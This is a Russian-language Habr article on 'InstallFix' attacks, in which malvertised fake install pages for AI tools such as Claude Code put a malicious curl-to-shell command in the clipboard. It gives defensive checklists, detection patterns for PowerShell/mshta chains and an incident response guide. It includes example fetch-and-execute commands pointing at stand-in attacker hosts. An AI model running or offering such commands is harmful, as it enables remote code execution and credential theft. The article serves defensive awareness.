Fake AI installers: как «установить Claude» может превратиться в запуск малвари / Хабр

Это не история про то, что Claude опасен.

И не история про то, что AI-инструменты сами по себе вредные.

Это история про гораздо более скучную, но опасную вещь:

разработчики привыкли копировать install-команды из браузера прямо в терминал.

И атакующие начали бить именно в эту привычку.

Раньше фишинг часто выглядел как письмо, fake login page или “скачайте важный документ”.

Сейчас в мире developer tools, AI coding assistants и CLI-инструментов появилась другая форма атаки:

фейковая документация;
фейковая install page;
фейковая кнопка Copy;
malware вместо нормального installer.

Человек не открывает подозрительное вложение.

Он просто гуглит что-то вроде:

Claude Code install

Открывает страницу, похожую на официальную документацию, копирует команду и запускает ее.

Выглядит как обычная установка CLI-инструмента.

А на деле это может быть началом malware chain.

Что такое InstallFix

Push Security назвали этот паттерн InstallFix.

Идея простая:

Атакующий клонирует страницу установки популярного developer tool.
Страница выглядит почти как официальная документация.
Внутри меняется install-команда.
Трафик приводится через Google Ads или другой malvertising.
Пользователь сам копирует команду и сам запускает ее в терминале.
Вместо нормального installer выполняется malicious payload.

Это похоже на ClickFix, но pretext другой.

В ClickFix пользователя часто заставляют “починить” что-то:

CAPTCHA;
browser error;
access issue;
“выполните команду, чтобы продолжить”.

В InstallFix ничего чинить не нужно.

Пользователь сам хочет установить легитимный инструмент.

И именно поэтому атака выглядит естественно.

Почему AI tools стали удобной приманкой

AI tooling сейчас растет очень быстро.

Люди ставят:

Claude Code;
ChatGPT-related tools;
Cursor plugins;
MCP servers;
agent frameworks;
CLI wrappers;
browser extensions;
desktop clients.

И далеко не всегда это проходит через нормальный internal approval.

В реальности часто бывает так:

Коллега показал новый инструмент.
Разработчик загуглил install guide.
Открыл первую ссылку.
Скопировал команду.
Запустил ее.

Для атакующего это почти идеальная ситуация:

высокий интерес к новым AI-инструментам;
пользователь ожидает увидеть terminal-команду;
sponsored result может быть выше официальной ссылки;
страницу документации легко клонировать;
install-команда выглядит правдоподобно;
после установки пользователя можно даже перекинуть на настоящий сайт, и он ничего не заметит.

Проблема не в Claude.

Проблема в том, что разработчик доверяет странице, которую нашел через поиск.

Простой сценарий атаки

Представим обычную ситуацию.

Разработчик хочет поставить AI coding assistant.

Он ищет:

Claude Code install

Вверху выдачи видит sponsored result.

Домен выглядит почти нормально:

claude-code-docs.example
claude-code-install.example
claude-update.example

Страница похожа на документацию:

логотип;
sidebar;
quickstart;
tabs для macOS/Linux/Windows;
кнопка Copy;
короткая install-команда.

На экране пользователь видит что-то вроде:

curl -fsSL https://claude.ai/install.sh | sh

Но проблема в том, что видимая команда и команда, которая реально попадает в clipboard, не обязаны совпадать.

Например, на странице может быть показано:

curl -fsSL https://claude.ai/install.sh | sh

А после нажатия Copy в clipboard может попасть:

curl -fsSL https://download.example.invalid/install.sh | sh

Или еще хуже:

curl -fsSL https://download.example.invalid/bootstrap | sh

Суть не в конкретном URL.

Суть в том, что пользователь доверяет UI страницы, а не проверяет команду перед запуском.

Почему кнопка Copy — отдельный риск

На web-странице команда обычно показывается как текст, а рядом лежит кнопка Copy.

Эта кнопка может копировать не то, что пользователь видит глазами.

Условно:

visible text:
  curl -fsSL https://official.example/install.sh | sh

clipboard value:
  curl -fsSL https://attacker.example/install.sh | sh

Можно сделать еще тоньше:

показывать официальный домен в UI;
копировать attacker-controlled URL;
добавлять base64-decoding;
добавлять silent flags;
выбирать payload под OS;
подменять команду только для пользователей из нужной страны;
подменять команду только при переходе из ad campaign;
показывать нормальную команду security-сканерам и вредную — реальным пользователям.

Поэтому фраза “я же видел нормальную команду на странице” ничего не гарантирует.

Гарантия появляется только в одном месте:

когда человек смотрит команду уже после paste, до нажатия Enter.

Да, это банально.

Но именно на таких банальных привычках атаки часто и работают.

Windows-сценарий: PowerShell, mshta и staged execution

В Windows-вариантах таких кампаний часто используются living-off-the-land binaries.

Например, цепочка может выглядеть так:

browser / user paste
  -> PowerShell
  -> mshta.exe
  -> remote HTA/script
  -> cmd.exe / powershell stager
  -> payload
  -> persistence / credential theft

Пользователь не обязательно скачивает setup.exe.

Он может сам запустить команду, которая подтянет все остальное.

И с точки зрения части security controls это выглядит не как “файл из почты”, а как обычная terminal activity пользователя.

macOS/Linux-сценарий: curl-to-shell

На macOS и Linux привычный паттерн другой:

curl -fsSL https://example.com/install.sh | sh

Или:

curl -fsSL https://example.com/install.sh | zsh

Это удобно.

И поэтому опасно.

Такая команда буквально означает:

скачай удаленный script и сразу выполни его.

Если домен официальный и script ожидаемый — это стандартный developer workflow.

Если домен подменен — это remote code execution руками пользователя.

Проблема не в curl.

Проблема в том, что trust boundary превращается в:

“я доверяю этой web-странице и ее кнопке Copy”.

А это слабая граница.

Почему sponsored result опаснее, чем кажется

Многие до сих пор воспринимают Google Ads как что-то относительно легитимное.

Логика примерно такая:

если ссылка вверху Google, наверное, это нормальный сайт.

Это плохая эвристика.

Malvertising работает именно потому, что пользователь сам ищет нужный инструмент.

Нет phishing email.

Нет подозрительного вложения.

Нет странного сообщения в мессенджере.

Пользователь сам инициировал действие.

И поэтому психологически он меньше насторожен.

Для корпоративной среды это особенно неприятно, потому что employee может ставить инструмент на рабочую машину, где есть:

source code;
SSH keys;
browser sessions;
password manager session;
Git credentials;
cloud CLI tokens;
kubeconfig;
CI/CD access;
internal docs;
VPN access.

Infostealer на такой машине — это уже не просто “личный ноутбук заразился”.

Это потенциальная точка входа в компанию.

Чем InstallFix отличается от обычного fake installer

Классический fake installer выглядит так:

скачайте setup.exe
запустите installer
получите malware

InstallFix тоньше.

Он использует нормальную developer-привычку:

документация говорит скопировать команду
я копирую команду
я запускаю команду

Для разработчика это не выглядит как “я скачал подозрительный exe”.

Это выглядит как:

“я поставил CLI tool по документации”.

Поэтому awareness должен быть не только про “не открывайте exe из интернета”.

Нужно отдельно проговаривать:

terminal commands из браузера — это тоже code execution.

Что проверять перед запуском install-команды

Минимальный checklist для разработчика:

1. Не ставить developer tools через sponsored results

Если нужно поставить CLI, SDK, AI assistant или package manager — лучше идти на официальный сайт из known source, а не по рекламной ссылке.

2. Проверять домен в самой команде

Важно смотреть не только на address bar браузера.

Нужно проверить, куда реально идет команда:

curl -fsSL https://some-domain.example/install.sh | sh

3. После paste смотреть команду до Enter

Самое простое правило:

вставил команду — остановился — прочитал — только потом нажал Enter.

4. Не запускать curl | sh, если непонятно, что скачивается

Лучше сначала скачать script отдельно:

curl -fsSL https://official.example/install.sh -o install.sh

Потом открыть его:

less install.sh

И только после этого запускать:

sh install.sh

5. Новые AI tools лучше тестировать в изолированной среде

Если инструмент непроверенный, лучше использовать:

disposable VM;
test machine;
container;
отдельный dev environment без production secrets.

Не стоит запускать случайный install script на рабочей машине, где лежат токены, kubeconfig и доступы к GitLab/GitHub.

Что можно сделать на уровне команды

Одного awareness мало.

Нужны практические controls.

1. Internal allowlist для developer tools

У команды должен быть список approved tools и официальных источников.

Например:

Claude Code:
  official_docs: https://docs.anthropic.com/...
  package: "@anthropic-ai/claude-code"

Node.js:
  official: https://nodejs.org/
  internal_mirror: https://nexus.example.com/...

Homebrew:
  official: https://brew.sh/

Если человек находит install guide через Google Ads — это уже повод остановиться.

2. Internal installation docs

Для популярных tools лучше иметь внутреннюю страницу:

как установить;
какую команду использовать;
какой домен ожидается;
какой hash/signature проверять;
куда писать, если установка не работает.

Это особенно актуально для AI tools.

Люди все равно будут их пробовать.

Если компания не дает безопасный путь, сотрудники найдут небезопасный.

3. DNS / SWG controls

Можно блокировать:

newly registered domains;
suspicious lookalike domains;
known malicious domains;
ad-delivered installer pages;
direct access к suspicious payload hosts.

Это не серебряная пуля.

Атакующие быстро меняют инфраструктуру.

Но как дополнительный слой защиты это полезно.

4. Endpoint detections

На Windows стоит смотреть на такие behavioral patterns:

browser -> powershell
browser -> cmd
powershell -> mshta
mshta -> cmd
mshta -> powershell
powershell -EncodedCommand
PowerShell AMSI tampering
new scheduled task near install activity
unexpected outbound from scripting hosts

Особенно если это происходит сразу после посещения install page.

Для macOS/Linux:

shell spawned from browser-adjacent activity
curl/wget downloading script to /tmp
chmod +x on fresh download
execution from /tmp
unexpected LaunchAgents
unexpected persistence files
suspicious outbound after install command

Контекст важен.

curl сам по себе не malware.

PowerShell сам по себе не malware.

Но browser-driven install flow + suspicious domain + obfuscated command + persistence — это уже совсем другой разговор.

Почему это важно для AppSec и DevSecOps

На первый взгляд это endpoint/security awareness тема.

Но на самом деле это напрямую связано с AppSec и DevSecOps.

Developer machines часто имеют доступ к supply chain:

Git repositories;
package registries;
container registries;
CI/CD variables;
deployment configs;
signing keys;
cloud credentials;
kubeconfigs.

Если infostealer получает browser tokens или локальные credentials, это может стать supply chain incident.

Поэтому в Secure SDLC стоит добавлять:

approved source list для dev tools;
запрет установки tools из sponsored results;
internal installation docs;
sandboxing для новых AI tools;
endpoint telemetry на developer machines;
least-privilege для developer tokens;
short-lived credentials;
отдельные accounts/tokens для production;
регулярную ревизию local secrets и kubeconfigs.

Это не “борьба с Claude”.

Это нормальная hygiene вокруг developer workstation security.

Incident response checklist

Если человек уже запустил подозрительную install-команду:

Не продолжать работу на машине.
Отключить сеть или изолировать endpoint через EDR.
Сохранить команду, URL, browser history и примерное время запуска.
Проверить process tree:
- browser;
- shell;
- PowerShell;
- mshta;
- cmd;
- curl;
- zsh.
Проверить persistence:
- scheduled tasks;
- LaunchAgents;
- startup items;
- shell profile modifications.
Проверить outbound connections.
Считать browser sessions и local tokens potentially compromised.
Ротировать credentials:
- GitHub/GitLab;
- cloud;
- registry;
- package manager;
- CI/CD;
- VPN;
- password manager session, если есть риск.
Проверить recent repository activity.
Переустановить workstation, если нет уверенности в полном cleanup.

Главное:

если это infostealer, простого “удалил файл” может быть мало.

Что это не заменяет

Проверка install-команд не заменяет:

EDR;
DNS filtering;
secure web gateway;
least privilege;
secret rotation;
software allowlisting;
internal package mirrors;
developer security training.

Но она закрывает очень конкретную дыру:

человек не должен вслепую выполнять код из страницы, которую нашел через рекламу.

Вывод

InstallFix неприятен не технической сложностью.

Он неприятен тем, что использует нормальный developer workflow.

Мы сами приучили людей:

копируй команду из docs
вставляй в terminal
жми Enter

Атакующие просто подменили docs.

Или команду.

Или clipboard value.

И этого уже достаточно.

Поэтому правило простое:

install command из браузера = code execution.

К ней надо относиться как к коду:

проверить источник;
проверить домен;
проверить команду после paste;
не доверять sponsored results;
не запускать непонятный install.sh на рабочей машине с secrets;
иметь internal approved path для популярных tools.

Это маленькая привычка.

Но она может отделять обычную установку AI tool от запуска infostealer на developer workstation.

Sources

Push Security — InstallFix: https://pushsecurity.com/blog/installfix/
Kaspersky — Malware disguised as AI agents: https://www.kaspersky.com/blog/fake-ai-agents-infostealers/55412/
Graphika — Malicious Commands: Fake Claude Code & ChatGPT Installers: https://graphika.com/posts/malicious-commands-fake-claude-code-chatgpt-installers
TechRepublic summary: https://www.techrepublic.com/article/news-fake-claude-code-install-pages-malware-windows-macos/

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

50%Да!1

50%Нет1

Проголосовали 2 пользователя. Воздержавшихся нет.